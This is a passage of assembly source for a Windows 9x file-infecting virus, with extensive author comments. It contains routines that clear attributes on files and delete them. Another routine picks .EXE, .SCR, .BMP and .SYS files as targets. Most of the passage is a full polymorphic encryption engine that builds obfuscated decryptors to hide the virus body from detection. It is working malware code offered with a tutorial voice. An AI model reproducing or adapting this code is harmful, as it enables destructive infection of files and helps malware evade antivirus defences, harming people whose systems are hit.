push ecx
push esi
mov esi,eax
mov edi,dword ptr [ebp+ptr_filename]

insert_name: lodsb
stosb
or al,al
jnz insert_name

mov eax,00007143h ;LFN Ext attributes
xor ebx,ebx ;Set file attributes
inc ebx
xor ecx,ecx ;Blow up attributes
lea edx,dword ptr [ebp+target_filename] ;Ptr to filename
call my_int21h

mov eax,00007141h ;Delete file
xor ecx,ecx
lea edx,dword ptr [ebp+target_filename]
xor esi,esi
call my_int21h

pop esi
pop ecx
loop delete_loop ;Delete next file

exit_infection: mov dword ptr [ebp+hook_status],"FREE" ;Clear busy flag
jmp exit_hook

;············································································
;Simulate a int 21h using VxDCall to VWIN32_int21h_dispatcher
;············································································

my_int21h: push ecx
push eax
push 002A0010h
call dword ptr [ebp+a_VxDCall]
ret

;············································································
;Move file pointer rotuines
;············································································

seek_here: ;Seek to edx

mov eax,edx
and eax,0FFFF0000h
shr eax,10h
mov ecx,eax
mov eax,00004200h
jmp short seek_now

seek_bof: ;Seek to begin of file

mov eax,00004200h
jmp short perform_seek

seek_eof: ;Seek to end of file

mov eax,00004202h
perform_seek: xor edx,edx
xor ecx,ecx
seek_now: call my_int21h
jc exit_seek
and eax,0000FFFFh
shl edx,10h
or eax,edx
xor edx,edx
clc
exit_seek: ret

seek2pe_header: ;Seek to PE header

mov edx,dword ptr [ebp+msdos_header+MZ_lfanew]
call seek_here
ret

seek2last_sh: ;Seek to last section header

movzx ecx,word ptr [ebp+pe_header+FH_NumberOfSections]
dec ecx
mov eax,IMAGE_SIZEOF_SECTION_HEADER
mul ecx
mov edx,dword ptr [ebp+msdos_header+MZ_lfanew]
add edx,IMAGE_SIZEOF_FILE_HEADER+00000004h
movzx ecx,word ptr [ebp+pe_header+FH_SizeOfOptionalHeader]
add edx,ecx
add edx,eax
call seek_here
ret

;············································································
;Copy path+filename to our buffer in upper case and check extension
;············································································

check_filename: push edi
mov edx,esi ;Now look at filename
lea edi,dword ptr [ebp+target_filename] ;while copying it
mov ecx,MAX_PATH ;into our buffer
cld
look_name: lodsb
cmp al,"a"
jb not_lowcase
cmp al,"z"
ja not_lowcase
sub al,"a"-"A" ;Convert to uppercase
not_lowcase: stosb
or al,al
je end_name
cmp al,"\"
jne look_loop
mov edx,edi
look_loop: loop look_name
invalid_name: pop edi
stc
ret
end_name: mov eax,dword ptr [edi-00000005h]
cmp eax,"EXE." ;Is a .EXE file?
je valid_file
cmp eax,"RCS." ;A screen saver?
je valid_file
cmp eax,"PMB." ;May be a .BMP file
je valid_file
cmp eax,"SYS." ;BMP hidden as .SYS?
jne invalid_name
valid_file: pop edi
clc
ret

;············································································
;
;Here comes the HPS polymorphic encryption engine, some of its features are:
;
; Size of operand modes: Byte, Word and Dword
;
; Decrypts in both directions, from lowest address to highest or starting
; at the end to the lowest address
;
; Indexing modes:
;
; [reg]
; [reg+imm]
; [reg+reg]
; [reg+reg+imm]
;
; Operations used to decrypt:
;
; INC
; DEC
; NOT
; ADD
; SUB
; XOR
;
; Garbage generators:
;
; MOV reg,imm
; MOV reg,reg
; ADD reg,imm
; ADC reg,imm
; SUB reg,imm
; SBB reg,imm
; AND reg,imm
; NOT reg,imm
; XOR reg,imm
; OR reg,imm
; PUSH/Garbage/POP
; CALL
; JMP
; Conditional jumps
; MOVZX reg,reg
; One byte instructions
;
; The engine uses a table to store the state of each register at any time
; while working
;
; The engine never generates each decryptor step in the same order, like
; this:
;
; Load index register
; Load counter register
; Decrypt
; Modify index register
; Modify counter register
;
; This steps are generated inside subrotuines that can appear at any
; position in the decryptor code, like this:
;
; Decrypt
; Load counter register
; Modify index register
; Load index register
; Modify counter register
;
; The garbage code generator can be called by itself in a recursive way,
; so it can generate complex sequences of nosense-looking code
;
; The resulting code is always hard to follow
;
;This kind of code is always hard to understand, i hope the comments are
;enough to guide you through this poly engine
;
;············································································
;Generate one decryptor
;············································································

mutate: ;Keep direction flag clear

pushad
cld

;The engine uses a table that stores the state of each reg
;Register table structure is as follows:
;
; 00h - Byte - Register mask
; 01h - Byte - Register flags
;
;So now lets clear the state field before start generating
;the polymorphic code

lea esi,dword ptr [ebp+tbl_startup]
lea edi,dword ptr [ebp+tbl_regs+REG_FLAGS]
mov ecx,00000007h
xor eax,eax
loop_init_regs: lodsb
stosb
inc edi
loop loop_init_regs

;Another table used by the engine holds the address of each
;generator, the structure of this table is:
;
; 00h - DWORD - Address of generator
; 04h - DWORD - Address of generated subroutine or
; 00000000h if not yet generated
;
;Lets mark each entry as not yet generated

xor eax,eax
mov ecx,00000005h
lea edi,dword ptr [ebp+style_table+00000004h]
clear_style: stosd
add edi,00000004h
loop clear_style

;Clear displacement over displacement field

mov dword ptr [ebp+disp2disp],ecx

;Now choose the register that the engine will use as
;index register

call get_valid_reg
mov al,byte ptr [ebx+REG_MASK]
mov byte ptr [ebp+index_mask],al
or byte ptr [ebx+REG_FLAGS],REG_IS_INDEX

;Choose also wich register will be used as counter

call get_valid_reg
mov al,byte ptr [ebx+REG_MASK]
mov byte ptr [ebp+counter_mask],al
or byte ptr [ebx+REG_FLAGS],REG_IS_COUNTER

;The engine generates the following indexing modes:
;
; DECRYPT [reg]
; DECRYPT [reg+imm]
; DECRYPT [reg+reg]
; DECRYPT [reg+reg+imm]
;
;This code determines if we are going to use any displacement
;and if so, it gets a random one

call get_rnd32
and eax,00000001h
jz ok_disp
call get_rnd32
and eax,000FFFFFh
ok_disp: mov dword ptr [ebp+ptr_disp],eax

;Dercrypt instructions such as ADD, SUB or XOR need a
;key to use as second operand, choose it here

call get_rnd32
mov dword ptr [ebp+crypt_key],eax

;This field holds some flags:
;
; CRYPT_DIRECTION Decrypt up->down or up<-down
; CRYPT_CMPCTR
; CRYPT_CDIR
; CRYPT_SIMPLEX
; CRYPT_COMPLEX

call get_rnd32
mov byte ptr [ebp+build_flags],al

;The counter register needs to be loaded with the size
;of the encrypted code divided by the size of the
;decrypt instruction (01h for byte, 02h for word or
;04h for double word)
;This routine determines this size

call get_rnd32
and al,03h
cmp al,01h
je get_size_ok
cmp al,02h
je get_size_ok
inc al
get_size_ok: mov byte ptr [ebp+oper_size],al

;At any time EDI points to the place where the engine have
;to generate the next decryptor instruction

mov edi,dword ptr [ebp+mem_address]
add edi,mem_size+inf_size
push edi

;Put some random data at the begining, this will never
;be executed so note that it is "random data" and not
;"random code"
;Keep in mind this diference in next comments

call gen_rnd_block

;Generated decryptors are just polymorphic versions of the
;following pseudocode:
;
; Generate decryptor steps, each step into a different
; subroutine and in random order each time
;
; Generate calls to each subrotuine trying to hide this
; calls inside lots of random code
;
;As result generated code will never repeat any sequence
;of actions, for example: The routine that loads the index
;register can be generated at the begining of the decryptor
;or at the end, but it will be called always in the first
;call instruction
;
;Steps into first pseudocode are:
;
; Generate code that loads the index register
; Generate code that loads the counter register
; Generate decryp instruction
; Increment/Decrement index register in its proper size
; Increment/Decrement counter register
;
;Now start generating one subroutine for each of the above
;steps

mov ecx,00000005h

do_subroutine: push ecx

;Get a random entry in the steps table, remember that each
;entry have the following structure:
;
; 00h - DWORD - Address of generator
; 04h - DWORD - Address of generated subroutine or
; 00000000h if not yet generated

routine_done: mov eax,00000005h
call get_rnd_range
lea esi,dword ptr [ebp+style_table+eax*08h]

;Already generated?

xor edx,edx
cmp dword ptr [esi+00000004h],edx
jne routine_done

;Generate subrotuine inside some random code, so pseudocode

  
;for each one will look like this:
;
; Random code
; Decryptor step (load index, load counter, decrypt ...)
; Random code
; RET
; Random data
;
;Note that "random code" will also contain calls, jumps and
;lots of no-sense shit that will really hide the code of the
;decryptor step
;The "random data" will let some space betwen each subrotuine
;(size and data are random)
;This code will also save the entry-point of each generated
;subroutine, so we can call them later

push edi
call gen_garbage
lodsd
pop dword ptr [esi]
add eax,ebp
call eax
call gen_garbage
mov al,0C3h
stosb
call gen_rnd_block

;Generate next subroutine

pop ecx
loop do_subroutine

;Well, i said that generated decryptors are just polymorphic
;versions of the following pseudocode
;
; Generate decryptor steps, each step into a different
; subroutine and in random order each time
;
; Generate calls to each subrotuine trying to hide this
; calls inside lots of random code
;
;Its time to work on the second step

;This is the entry-point to the polymorphic decryptor,
;save it, we will point the file entry-point here later on

mov dword ptr [ebp+entry_point],edi
call gen_garbage

;The entry-point of each generated subroutine have been
;stored into the steps table
;Generate a CALL instruction for each table entry, but
;hide the it inside some random code, like this:
;
; Random code
; CALL instruction to the decryptor step subroutine
; Random code
;
;As i already said "random code" may contain another CALLs
;and JMPs

lea esi,dword ptr [ebp+style_table+00000004h]
mov ecx,00000005h

do_call: push ecx
cmp ecx,00000003h
jne is_not_loop

;At this time the CALLs that loads the index and counter
;registers have been generated
;We need to save current position into decryptor code
;in order to jump here on each decryptor iteration
;I think is not a bad idea to also hide this point inside
;blocks of random code

call gen_garbage
mov dword ptr [ebp+loop_point],edi

is_not_loop: call gen_garbage
mov al,0E8h
stosb
lodsd
sub eax,edi
sub eax,00000004h
stosd
call gen_garbage
lodsd
pop ecx
loop do_call

;The hard work is done, now generate the end condition
;and jumps

call gen_garbage
call gen_loop
call gen_garbage

;Some garbage

call gen_rnd_block
push edi
mov ecx,SIZE_PADDING
call rnd_fill
pop edi

;Decryptor done, save its size

pop eax
sub dword ptr [ebp+entry_point],eax
sub edi,eax
mov dword ptr [ebp+decryptor_size],edi

;Copy virus body to our buffer

lea esi,dword ptr [ebp+mem_base]
mov edi,dword ptr [ebp+mem_address]
mov ecx,mem_size
rep movsb

popad
ret

;············································································
;Aply encryption over virus copy
;············································································

scramble_virus: lea esi,dword ptr [ebp+mem_base]
lea edi,dword ptr [esi+mem_size]
push edi
mov ecx,inf_size
cld
rep movsb
call fixed_size2ecx
pop edi
loop_hide_code: push ecx
mov eax,dword ptr [edi]
call perform_crypt
xor ecx,ecx
mov cl,byte ptr [ebp+oper_size]
loop_copy_res: stosb
shr eax,08h
loop loop_copy_res
pop ecx
loop loop_hide_code
ret

;············································································
;Perform encryption
;············································································

perform_crypt: ;This buffer will contain the code to "crypt" the virus code
;followed by a RET instruction

db 10h dup (90h)

;············································································
;Generate decryptor action: Get delta offset
;············································································

gen_get_delta: ;Lets generate polymorphic code for the following pseudocode:
;
; CALL get_delta
; Random data
; get_delta:
; Random code
; POP reg
;
;Here come the CALL opcode

mov al,0E8h
stosb

;Let space for the address to call

stosd
mov dword ptr [ebp+delta_call],edi
push edi

;Generate some random data

call gen_rnd_block

;Get displacement from CALL instruction to destination
;address

mov eax,edi
pop esi
sub eax,esi

;Put destination address after CALL opcode

mov dword ptr [esi-00000004h],eax

;This code will be generated where the CALL points to
;
; Random code
; POP index register
; Random code
; Fix index register value
;
;Note that "random code" can contain some PUSH and POP
;instruction, so there is no equivalence betwen the
;first POP after the CALL and the register used as index

call gen_garbage
mov al,58h
or al,byte ptr [ebp+index_mask]
stosb
call gen_garbage

;Make needed fixes to point index to start or end of
;encrypted code

mov eax,dword ptr [ebp+mem_address]
add eax,mem_size
add eax,dword ptr [ebp+ptr_disp]
sub eax,dword ptr [ebp+delta_call]
test byte ptr [ebp+build_flags],CRYPT_DIRECTION
jz fix_dir_ok

;Direction is from top to bottom

push eax
call fixed_size2ecx
xor eax,eax
mov al,byte ptr [ebp+oper_size]
push eax
mul ecx
pop ecx
sub eax,ecx
pop ecx
add eax,ecx
fix_dir_ok: push eax

;Fix using ADD or SUB?

call get_rnd32
and al,01h
jz fix_with_sub

fix_with_add: ;Generate ADD reg_index,fix_value

mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
jmp short fix_done

fix_with_sub: ;Generate SUB reg_index,-fix_value

mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
neg eax

fix_done: stosd
ret

;············································································
;Generate decryptor action: Load counter
;············································································

gen_load_ctr: ;Easy now, just move counter random initial value
;into counter reg and calculate the end value

mov al,0B8h
or al,byte ptr [ebp+counter_mask]
stosb
call fixed_size2ecx
call get_rnd32
stosd
test byte ptr [ebp+build_flags],CRYPT_CDIR
jnz counter_down
counter_up: add eax,ecx
jmp short done_ctr_dir
counter_down: sub eax,ecx
done_ctr_dir: mov dword ptr [ebp+end_value],eax
ret

;············································································
;Generate decryptor action: Decrypt
;············································································

gen_decrypt: ;Check if we are going to use a displacement in the
;indexing mode

mov eax,dword ptr [ebp+ptr_disp]
or eax,eax
jnz more_complex

;Choose generator for [reg] indexing mode

mov edx,offset tbl_idx_reg
call choose_magic
jmp you_got_it

more_complex: ;More fun?!?!

mov al,byte ptr [ebp+build_flags]
test al,CRYPT_SIMPLEX
jnz crypt_xtended

;Choose generator for [reg+imm] indexing mode

mov edx,offset tbl_dis_reg
call choose_magic

you_got_it: ;Use magic to convert some values into
;desired instructions

call size_correct
mov dl,byte ptr [ebp+index_mask]
lodsb
or al,al
jnz adn_reg_01
cmp dl,00000101b
je adn_reg_02
adn_reg_01: lodsb
or al,dl
stosb
jmp common_part
adn_reg_02: lodsb
add al,45h
xor ah,ah
stosw
jmp common_part

crypt_xtended: ;Choose [reg+reg] or [reg+reg+disp]

test al,CRYPT_COMPLEX
jz ok_complex

;Get random displacement from current displacement
;eeehh?!?

mov eax,00000010h
call get_rnd_range
mov dword ptr [ebp+disp2disp],eax
call load_aux
push ebx
call gen_garbage

;Choose generator for [reg+reg+imm] indexing mode

mov edx,offset tbl_paranoia
call choose_magic
jmp short done_xtended

ok_complex: mov eax,dword ptr [ebp+ptr_disp]
call load_aux
push ebx
call gen_garbage

;Choose generator for [reg+reg] indexing mode

mov edx,offset tbl_xtended
call choose_magic

done_xtended: ;Build decryptor instructions

call size_correct
pop ebx
mov dl,byte ptr [ebp+index_mask]
lodsb
mov cl,al
or al,al
jnz arn_reg_01
cmp dl,00000101b
jne arn_reg_01
lodsb
add al,40h
stosb
jmp short arn_reg_02
arn_reg_01: movsb
arn_reg_02: mov al,byte ptr [ebx+REG_MASK]
shl al,03h
or al,dl
stosb
or cl,cl
jnz arn_reg_03
cmp dl,00000101b
jne arn_reg_03
xor al,al
stosb

arn_reg_03: ;Restore aux reg state

xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

common_part: ;Get post-build flags

lodsb

;Insert displacement from real address?

test al,MAGIC_PUTDISP
jz skip_disp
push eax
mov eax,dword ptr [ebp+ptr_disp]
sub eax,dword ptr [ebp+disp2disp]
neg eax
stosd
pop eax

skip_disp: ;Insert key?

test al,MAGIC_PUTKEY
jz skip_key
call copy_key

skip_key: ;Generate reverse code

call do_reverse

ret

;············································································
;Choose a magic generator
;············································································

choose_magic: mov eax,00000006h
call get_rnd_range
add edx,ebp
lea esi,dword ptr [edx+eax*04h]
lodsd
add eax,ebp
mov esi,eax
ret

;············································································
;Do operand size correction
;············································································

size_correct: lodsb
mov ah,byte ptr [ebp+oper_size]
cmp ah,01h
je store_correct
inc al
cmp ah,04h
je store_correct
mov ah,66h
xchg ah,al
stosw
ret
store_correct: stosb
ret

;············································································
;Load aux reg with displacement
;············································································

load_aux: ;Get a valid auxiliary register

push eax
call get_valid_reg
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

;Move displacement into aux reg

mov al,0B8h
or al,byte ptr [ebx+REG_MASK]
stosb
pop eax
neg eax
stosd
ret

;············································································
;Generate crypt-code
;············································································

do_reverse: xor eax,eax
mov al,byte ptr [ebp+oper_size]
shr eax,01h
shl eax,02h
add esi,eax
lodsd
add eax,ebp
mov esi,eax
push edi
lea edi,dword ptr [ebp+perform_crypt]
loop_string: lodsb
cmp al,MAGIC_ENDSTR
je end_of_magic
cmp al,MAGIC_ENDKEY
je last_spell
xor ecx,ecx
mov cl,al
rep movsb
jmp short loop_string
last_spell: call copy_key
end_of_magic: mov al,0C3h
stosb
pop edi
ret

;············································································
;Copy encryption key into work buffer taking care about operand size
;············································································

copy_key: mov eax,dword ptr [ebp+crypt_key]
xor ecx,ecx
mov cl,byte ptr [ebp+oper_size]
loop_key: stosb
shr eax,08h
loop loop_key
ret

;············································································
;Generate decryptor action: Move index to next step
;············································································

gen_next_step: ;Get number of bytes to inc or dec the index reg

xor ecx,ecx
mov cl,byte ptr [ebp+oper_size]

loop_update: ;Get number of bytes to update with this instruction

mov eax,ecx
call get_rnd_range
inc eax

;Check direction

test byte ptr [ebp+build_flags],CRYPT_DIRECTION
jnz step_down

call do_step_up
jmp short next_update

step_down: call do_step_down

next_update: sub ecx,eax
jecxz end_update
jmp short loop_update
end_update: ret

do_step_up: ;Move index_reg up

or eax,eax
jz up_with_inc

;Now choose ADD or SUB

push eax
call get_rnd32
and al,01h
jnz try_sub_1

try_add_1: mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
stosd
ret

try_sub_1: mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
neg eax
stosd
neg eax
ret

up_with_inc: ;Generate INC reg_index

mov al,40h
or al,byte ptr [ebp+index_mask]
stosb
mov eax,00000001h
ret

do_step_down: ;Move index_reg down

or eax,eax
jz down_with_dec

;Now choose ADD or SUB

push eax
call get_rnd32
and al,01h
jnz try_sub_2

try_add_2: mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
neg eax
stosd
neg eax
ret

try_sub_2: mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
stosd
ret

down_with_dec: ;Generate DEC reg_index

mov al,48h
or al,byte ptr [ebp+index_mask]
stosb
mov eax,00000001h
ret

;············································································
;Generate decryptor action: Next counter value
;············································································

gen_next_ctr: ;Check counter direction and update counter
;using a INC or DEC instruction

test byte ptr [ebp+build_flags],CRYPT_CDIR
jnz upd_ctr_down
upd_ctr_up: mov al,40h
or al,byte ptr [ebp+counter_mask]
jmp short upd_ctr_ok
upd_ctr_down: mov al,48h
or al,byte ptr [ebp+counter_mask]
upd_ctr_ok: stosb
ret

;············································································
;Generate decryptor action: Loop
;············································································

gen_loop: ;Use counter reg in CMP instruction?

test byte ptr [ebp+build_flags],CRYPT_CMPCTR
jnz doloopauxreg

;Generate CMP counter_reg,end_value

mov ax,0F881h
or ah,byte ptr [ebp+counter_mask]
stosw
mov eax,dword ptr [ebp+end_value]
stosd

jmp doloopready

doloopauxreg: ;Get a random valid register to use in a CMP instruction

call get_valid_reg
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

;Move index reg value into aux reg

mov ah,byte ptr [ebx+REG_MASK]
shl ah,03h
or ah,byte ptr [ebp+counter_mask]
or ah,0C0h
mov al,8Bh
stosw

;Guess what!?

push ebx
call gen_garbage
pop ebx

;Generate CMP aux_reg,end_value

mov ax,0F881h
or ah,byte ptr [ebx+REG_MASK]
stosw
mov eax,dword ptr [ebp+end_value]
stosd

;Restore aux reg state

xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

doloopready: ;Generate conditional jump

call get_rnd32
and al,01h
jnz doloopdown

doloopup: ;Generate the following structure:
;
; loop_point:
; ...
; cmp reg,x
; jne loop_point
; ...
; jmp virus
; ...

mov ax,850Fh
stosw
mov eax,dword ptr [ebp+loop_point]
sub eax,edi
sub eax,00000004h
stosd

call gen_garbage

;Insert a jump to virus code

mov al,0E9h
stosb
mov eax,dword ptr [ebp+mem_address]
add eax,mem_size-00000004h
sub eax,edi
stosd

ret

doloopdown: ;...or may be this other structure:
;
; loop_point:
; ...
; cmp reg,x
; je virus
; ...
; jmp loop_point
; ...

mov ax,840Fh
stosw
mov eax,dword ptr [ebp+mem_address]
add eax,mem_size-00000004h
sub eax,edi
stosd

call gen_garbage

;Insert a jump to loop point

mov al,0E9h
stosb
mov eax,dword ptr [ebp+loop_point]
sub eax,edi
sub eax,00000004h
stosd

ret

;············································································
;Generate some garbage code
;············································································

gen_garbage: ;More recursive levels allowed?

push esi
inc byte ptr [ebp+recursive_level]
cmp byte ptr [ebp+recursive_level],04h
jae exit_gg

;Choose garbage generator

mov eax,00000004h
call get_rnd_range
inc eax
mov ecx,eax
loop_garbage: push ecx
mov eax,(end_garbage-tbl_garbage)/04h
call get_rnd_range
lea esi,dword ptr [ebp+tbl_garbage+eax*04h]
lodsd
add eax,ebp
call eax
pop ecx
loop loop_garbage

;Update recursive level

exit_gg: dec byte ptr [ebp+recursive_level]
pop esi
ret

;············································································
;Generate MOV reg,imm
;············································································

g_movreg32imm: ;Generate MOV reg32,imm

call get_valid_reg
mov al,0B8h
or al,byte ptr [ebx+REG_MASK]
stosb
call get_rnd32
stosd
ret

g_movreg16imm: ;Generate MOV reg16,imm

call get_valid_reg
mov ax,0B866h
or ah,byte ptr [ebx+REG_MASK]
stosw
call get_rnd32
stosw
ret

g_movreg8imm: ;Generate MOV reg8,imm

call get_valid_reg
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_movreg8imm
call get_rnd32
mov al,0B0h
or al,byte ptr [ebx+REG_MASK]
push eax
call get_rnd32
pop edx
and ax,0004h
or ax,dx
stosw
a_movreg8imm: ret


;············································································
;Generate mov reg,reg
;············································································

g_movregreg32: call get_rnd_reg
push ebx
call get_valid_reg
pop edx
cmp ebx,edx
je a_movregreg32
c_movregreg32: mov ah,byte ptr [ebx+REG_MASK]
shl ah,03h
or ah,byte ptr [edx+REG_MASK]
or ah,0C0h
mov al,8Bh
stosw
a_movregreg32: ret

g_movregreg16: call get_rnd_reg
push ebx
call get_valid_reg
pop edx
cmp ebx,edx
je a_movregreg32
mov al,66h
stosb
jmp short c_movregreg32

g_movregreg8: call get_rnd_reg
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_movregreg8
push ebx
call get_valid_reg
pop edx
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_movregreg8
cmp ebx,edx
je a_movregreg8
mov ah,byte ptr [ebx+REG_MASK]
shl ah,03h
or ah,byte ptr [edx+REG_MASK]
or ah,0C0h
mov al,8Ah
push eax
call get_rnd32
pop edx
and ax,2400h
or ax,dx
stosw
a_movregreg8: ret

;············································································
;Generate MOVZX/MOVSX reg32,reg16
;············································································

g_movzx_movsx: call get_rnd32
mov ah,0B7h
and al,01h
jz d_movzx
mov ah,0BFh
d_movzx: mov al,0Fh
stosw
call get_rnd_reg
push ebx
call get_valid_reg
pop edx
mov al,byte ptr [ebx+REG_MASK]
shl al,03h
or al,0C0h
or al,byte ptr [edx+REG_MASK]
stosb
ret

;············································································
;Generate ADD/SUB/XOR/OR/AND reg,imm
;············································································

g_mathregimm32: mov al,81h
stosb
call get_valid_reg
call do_math_work
stosd
ret

g_mathregimm16: mov ax,8166h
stosw
call get_valid_reg
call do_math_work
stosw
ret

g_mathregimm8: call get_valid_reg
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_math8
mov al,80h
stosb
call do_math_work
stosb
and ah,04h
or byte ptr [edi-00000002h],ah
a_math8: ret

do_math_work: mov eax,end_math_imm-tbl_math_imm
call get_rnd_range
lea esi,dword ptr [ebp+eax+tbl_math_imm]
lodsb
or al,byte ptr [ebx+REG_MASK]
stosb
call get_rnd32
ret

;············································································
;Generate push reg + garbage + pop reg
;············································································

g_push_g_pop: ;Note that garbage generator can call itself in a
;recursive way, so structures like the following
;example can be produced
;
; push reg_1
; ...
; push reg_2
; ...
; pop reg_2
; ...
; pop reg_1
;

call get_rnd_reg
mov al,50h
or al,byte ptr [ebx+REG_MASK]
stosb
call gen_garbage
call get_valid_reg
mov al,58h
or al,byte ptr [ebx+REG_MASK]
stosb
ret

;············································································
;Generate CALL without return
;············································································

g_call_cont: mov al,0E8h
stosb
push edi
stosd
call gen_rnd_block
pop edx
mov eax,edi
sub eax,edx
sub eax,00000004h
mov dword ptr [edx],eax
call gen_garbage
call get_valid_reg
mov al,58h
or al,byte ptr [ebx+REG_MASK]
stosb
ret

;············································································
;Generate unconditional jumps
;············································································

g_jump_u: mov al,0E9h
stosb
push edi
stosd
call gen_rnd_block
pop edx
mov eax,edi
sub eax,edx
sub eax,00000004h
mov dword ptr [edx],eax
ret

;············································································
;Generate conditional jumps
;············································································

g_jump_c: call get_rnd32
and ah,0Fh
add ah,80h
mov al,0Fh
stosw
push edi
stosd
call gen_garbage
pop edx
mov eax,edi
sub eax,edx
sub eax,00000004h
mov dword ptr [edx],eax
ret

;············································································
;Generate one byte garbage code that does not change reg values
;············································································

gen_save_code: mov eax,end_save_code-tbl_save_code
call get_rnd_range
mov al,byte ptr [ebp+tbl_save_code+eax]
stosb
ret

;············································································
;Get a ramdom reg
;············································································

get_rnd_reg: mov eax,00000007h
call get_rnd_range
lea ebx,dword ptr [ebp+tbl_regs+eax*02h]
ret

;············································································
;Get a ramdom reg (avoid REG_READ_ONLY, REG_IS_COUNTER and REG_IS_INDEX)
;············································································

get_valid_reg: call get_rnd_reg
mov al,byte ptr [ebx+REG_FLAGS]
and al,REG_IS_INDEX or REG_IS_COUNTER or REG_READ_ONLY
jnz get_valid_reg
ret

;············································································
;Load ecx with crypt_size / oper_size
;············································································

fixed_size2ecx: mov eax,inf_size
xor ecx,ecx
mov cl,byte ptr [ebp+oper_size]
shr ecx,01h
or ecx,ecx
jz ok_2ecx
shr eax,cl
jnc ok_2ecx
inc eax
ok_2ecx: mov ecx,eax
ret

;············································································
;Generate a block of random data
;············································································

gen_rnd_block: ;Get number of bytes to fill

mov eax,00000010h
call get_rnd_range
add eax,00000005h
mov ecx,eax

rnd_fill: ;Fill a ecx block with random data

cld
rnd_fill_loop: call get_rnd32
stosb
loop rnd_fill_loop
ret

;············································································
;Linear congruent pseudorandom number generator
;············································································

get_rnd32: push ecx
push edx
mov eax,dword ptr [ebp+rnd32_seed]
mov ecx,41C64E6Dh
mul ecx
add eax,00003039h
and eax,7FFFFFFFh
mov dword ptr [ebp+rnd32_seed],eax
pop edx
pop ecx
ret

;············································································
;Returns a random num between 0 and entry eax
;············································································

get_rnd_range: push ecx
push edx
mov ecx,eax
call get_rnd32
xor edx,edx
div ecx
mov eax,edx
pop edx
pop ecx
ret

;············································································
;Poly engine initialized data
;············································································

;Register table
;
; - Register mask
; - Register flags

tbl_regs equ this byte

db 00000000b,REG_READ_ONLY ;eax
db 00000011b,00h ;ebx
db 00000001b,00h ;ecx
db 00000010b,00h ;edx
db 00000110b,REG_NO_8BIT ;esi
db 00000111b,REG_NO_8BIT ;edi
db 00000101b,REG_NO_8BIT ;ebp

end_regs equ this byte

;Aliases for reg table structure

REG_MASK equ 00h
REG_FLAGS equ 01h

;Bit aliases for reg flags

REG_IS_INDEX equ 01h ;Register used as main index register
REG_IS_COUNTER equ 02h ;This register is used as loop counter
REG_READ_ONLY equ 04h ;Never modify the value of this register
REG_NO_8BIT equ 08h ;ESI EDI and EBP havent 8bit version

;Initial reg flags

tbl_startup equ this byte

db REG_READ_ONLY ;eax
db 00h ;ebx
db 00h ;ecx
db 00h ;edx
db REG_NO_8BIT ;esi
db REG_NO_8BIT ;edi
db REG_NO_8BIT ;ebp

;Code that does not disturb reg values

tbl_save_code equ this byte

clc
stc
cmc
cld
std

end_save_code equ this byte

;Generators for [reg] indexing mode

tbl_idx_reg equ this byte

dd offset xx_inc_reg
dd offset xx_dec_reg
dd offset xx_not_reg
dd offset xx_add_reg
dd offset xx_sub_reg
dd offset xx_xor_reg

;Generators for [reg+imm] indexing mode

tbl_dis_reg equ this byte

dd offset yy_inc_reg
dd offset yy_dec_reg
dd offset yy_not_reg
dd offset yy_add_reg
dd offset yy_sub_reg
dd offset yy_xor_reg

;Generators for [reg+reg] indexing mode

tbl_xtended equ this byte

dd offset zz_inc_reg
dd offset zz_dec_reg
dd offset zz_not_reg
dd offset zz_add_reg
dd offset zz_sub_reg
dd offset zz_xor_reg

;Generators for [reg+reg+imm] indexing mode

tbl_paranoia equ this byte

dd offset ii_inc_reg
dd offset ii_dec_reg
dd offset ii_not_reg
dd offset ii_add_reg
dd offset ii_sub_reg
dd offset ii_xor_reg

;Opcodes for math reg,imm

tbl_math_imm equ this byte

db 0C0h ;add
db 0C8h ;or
db 0E0h ;and
db 0E8h ;sub
db 0F0h ;xor
db 0D0h ;adc
db 0D8h ;sbb

end_math_imm equ this byte

;Magic aliases

MAGIC_PUTKEY equ 01h
MAGIC_PUTDISP equ 02h
MAGIC_ENDSTR equ 0FFh
MAGIC_ENDKEY equ 0FEh
MAGIC_CAREEBP equ 00h
MAGIC_NOTEBP equ 0FFh

;Magic data

xx_inc_reg db 0FEh
db MAGIC_CAREEBP
db 00h
db 00h
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword

xx_dec_reg db 0FEh
db MAGIC_CAREEBP
db 08h
db 00h
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword

xx_not_reg db 0F6h
db MAGIC_CAREEBP
db 10h
db 00h
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword

xx_add_reg db 80h
db MAGIC_CAREEBP
db 00h
db MAGIC_PUTKEY
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword

xx_sub_reg db 80h
db MAGIC_CAREEBP
db 28h
db MAGIC_PUTKEY
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword

xx_xor_reg db 80h
db MAGIC_CAREEBP
db 30h
db MAGIC_PUTKEY
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword

yy_inc_reg db 0FEh
db MAGIC_NOTEBP
db 80h
db MAGIC_PUTDISP
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword

yy_dec_reg db 0FEh
db MAGIC_NOTEBP
db 88h
db MAGIC_PUTDISP
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword

yy_not_reg db 0F6h
db MAGIC_NOTEBP
db 90h
db MAGIC_PUTDISP
dd offset x_not_reg_byte
dd offset x_not_reg_word
